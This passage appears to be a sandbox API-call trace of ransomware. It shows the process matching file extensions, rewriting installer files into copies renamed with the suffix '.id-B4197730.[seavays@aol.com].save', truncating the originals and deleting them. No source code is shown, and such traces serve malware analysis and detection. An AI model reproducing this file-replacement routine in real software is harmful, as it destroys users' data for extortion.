(lpString1=".xlsx", lpString2="a.rtf") returned -1 [0051.265] lstrlenW (lpString=".ppt") returned 4 [0051.265] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0051.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.265] lstrlenW (lpString=".zip") returned 4 [0051.265] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0051.265] lstrlenW (lpString=".rar") returned 4 [0051.265] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0051.266] lstrlenW (lpString=".bz2") returned 4 [0051.266] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0051.266] lstrlenW (lpString=".7z") returned 3 [0051.266] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0051.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.266] lstrlenW (lpString=".dbf") returned 4 [0051.266] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0051.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.266] lstrlenW (lpString=".1cd") returned 4 [0051.266] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0051.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0051.266] lstrlenW (lpString=".jpg") returned 4 [0051.266] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0051.266] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0051.266] lstrlenW (lpString="LocalizedData.xml") returned 17 [0051.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.266] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=77748) returned 1 [0051.267] CloseHandle (hObject=0x304) returned 1 [0051.267] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0051.267] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.267] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.267] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.267] GetLastError () returned 0x0 [0051.267] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0051.270] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0051.272] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.272] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1 [0051.272] SetEndOfFile (hFile=0x308) returned 1 [0051.272] CloseHandle (hObject=0x308) returned 1 [0051.274] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.274] SetEndOfFile (hFile=0x304) returned 1 [0051.275] CloseHandle (hObject=0x304) returned 1 [0051.276] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.276] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0051.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.276] lstrlenW (lpString=".doc") returned 4 [0051.276] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.276] lstrlenW (lpString=".docx") returned 5 [0051.276] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.276] lstrlenW (lpString=".pdf") returned 4 [0051.276] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.276] lstrlenW (lpString=".xls") returned 4 [0051.276] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.276] lstrlenW (lpString=".xlsx") returned 5 [0051.276] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.276] lstrlenW (lpString=".ppt") returned 4 [0051.276] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.276] lstrlenW (lpString=".zip") returned 4 [0051.276] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.276] lstrlenW (lpString=".rar") returned 4 [0051.276] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString=".bz2") returned 4 [0051.277] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString=".7z") returned 3 [0051.277] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.277] lstrlenW (lpString=".dbf") returned 4 [0051.277] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.277] lstrlenW (lpString=".1cd") returned 4 [0051.277] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.277] lstrlenW (lpString=".jpg") returned 4 [0051.277] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.277] lstrlenW (lpString=".doc") returned 4 [0051.277] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString=".docx") returned 5 [0051.277] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.277] lstrlenW (lpString=".pdf") returned 4 [0051.277] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString=".xls") returned 4 [0051.277] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString=".xlsx") returned 5 [0051.277] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.277] lstrlenW (lpString=".ppt") returned 4 [0051.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.277] lstrlenW (lpString=".zip") returned 4 [0051.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.277] lstrlenW (lpString=".rar") returned 4 [0051.277] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.277] lstrlenW (lpString=".bz2") returned 4 [0051.278] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.278] lstrlenW (lpString=".7z") returned 3 [0051.278] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.278] lstrlenW (lpString=".dbf") returned 4 [0051.278] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.278] lstrlenW (lpString=".1cd") returned 4 [0051.278] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0051.278] lstrlenW (lpString=".jpg") returned 4 [0051.278] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.278] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0051.278] lstrlenW (lpString="eula.rtf") returned 8 [0051.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.278] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3419) returned 1 [0051.278] CloseHandle (hObject=0x304) returned 1 [0051.278] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0051.278] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.279] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.279] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.279] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.279] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.279] GetLastError () returned 0x0 [0051.279] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xd5b, lpOverlapped=0x0) returned 1 [0052.286] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xd60, lpOverlapped=0x0) returned 1 [0052.287] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.287] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.287] SetEndOfFile (hFile=0x308) returned 1 [0052.287] CloseHandle (hObject=0x308) returned 1 [0052.288] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.288] SetEndOfFile (hFile=0x304) returned 1 [0052.289] CloseHandle (hObject=0x304) returned 1 [0052.289] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.289] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0052.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.290] lstrlenW (lpString=".doc") returned 4 [0052.290] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.290] lstrlenW (lpString=".docx") returned 5 [0052.290] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.290] lstrlenW (lpString=".pdf") returned 4 [0052.290] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.290] lstrlenW (lpString=".xls") returned 4 [0052.290] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.290] lstrlenW (lpString=".xlsx") returned 5 [0052.290] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.290] lstrlenW (lpString=".ppt") returned 4 [0052.290] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.290] lstrlenW (lpString=".zip") returned 4 [0052.290] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.290] lstrlenW (lpString=".rar") returned 4 [0052.290] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.290] lstrlenW (lpString=".bz2") returned 4 [0052.290] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.290] lstrlenW (lpString=".7z") returned 3 [0052.290] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.290] lstrlenW (lpString=".dbf") returned 4 [0052.290] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.290] lstrlenW (lpString=".1cd") returned 4 [0052.290] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.290] lstrlenW (lpString=".jpg") returned 4 [0052.290] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.291] lstrlenW (lpString=".doc") returned 4 [0052.291] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.291] lstrlenW (lpString=".docx") returned 5 [0052.291] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.291] lstrlenW (lpString=".pdf") returned 4 [0052.291] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.291] lstrlenW (lpString=".xls") returned 4 [0052.291] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.291] lstrlenW (lpString=".xlsx") returned 5 [0052.291] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.291] lstrlenW (lpString=".ppt") returned 4 [0052.291] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.291] lstrlenW (lpString=".zip") returned 4 [0052.291] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.291] lstrlenW (lpString=".rar") returned 4 [0052.291] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.291] lstrlenW (lpString=".bz2") returned 4 [0052.291] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.291] lstrlenW (lpString=".7z") returned 3 [0052.291] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.291] lstrlenW (lpString=".dbf") returned 4 [0052.291] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.291] lstrlenW (lpString=".1cd") returned 4 [0052.291] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0052.291] lstrlenW (lpString=".jpg") returned 4 [0052.291] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.292] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.292] lstrlenW (lpString="eula.rtf") returned 8 [0052.292] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.292] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4254) returned 1 [0052.292] CloseHandle (hObject=0x304) returned 1 [0052.292] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0052.292] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.292] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.292] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.292] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.292] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.293] GetLastError () returned 0x0 [0052.293] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x109e, lpOverlapped=0x0) returned 1 [0052.294] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0052.296] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.296] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.296] SetEndOfFile (hFile=0x308) returned 1 [0052.296] CloseHandle (hObject=0x308) returned 1 [0052.297] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.297] SetEndOfFile (hFile=0x304) returned 1 [0052.297] CloseHandle (hObject=0x304) returned 1 [0052.298] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.298] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0052.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.298] lstrlenW (lpString=".doc") returned 4 [0052.298] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.298] lstrlenW (lpString=".docx") returned 5 [0052.298] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.298] lstrlenW (lpString=".pdf") returned 4 [0052.298] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.298] lstrlenW (lpString=".xls") returned 4 [0052.298] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.298] lstrlenW (lpString=".xlsx") returned 5 [0052.298] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.298] lstrlenW (lpString=".ppt") returned 4 [0052.298] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.299] lstrlenW (lpString=".zip") returned 4 [0052.299] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.299] lstrlenW (lpString=".rar") returned 4 [0052.299] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.299] lstrlenW (lpString=".bz2") returned 4 [0052.299] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.299] lstrlenW (lpString=".7z") returned 3 [0052.299] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.299] lstrlenW (lpString=".dbf") returned 4 [0052.299] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.299] lstrlenW (lpString=".1cd") returned 4 [0052.299] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.299] lstrlenW (lpString=".jpg") returned 4 [0052.299] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.299] lstrlenW (lpString=".doc") returned 4 [0052.299] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.299] lstrlenW (lpString=".docx") returned 5 [0052.299] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.299] lstrlenW (lpString=".pdf") returned 4 [0052.299] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.299] lstrlenW (lpString=".xls") returned 4 [0052.299] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.299] lstrlenW (lpString=".xlsx") returned 5 [0052.299] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.299] lstrlenW (lpString=".ppt") returned 4 [0052.299] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.299] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.299] lstrlenW (lpString=".zip") returned 4 [0052.300] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.300] lstrlenW (lpString=".rar") returned 4 [0052.300] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.300] lstrlenW (lpString=".bz2") returned 4 [0052.300] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.300] lstrlenW (lpString=".7z") returned 3 [0052.300] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.300] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.300] lstrlenW (lpString=".dbf") returned 4 [0052.300] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.300] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.300] lstrlenW (lpString=".1cd") returned 4 [0052.300] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.300] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0052.300] lstrlenW (lpString=".jpg") returned 4 [0052.300] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.300] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.300] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.300] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.300] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=86442) returned 1 [0052.300] CloseHandle (hObject=0x304) returned 1 [0052.300] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0052.301] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.301] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.301] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.301] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.301] CreateFileW 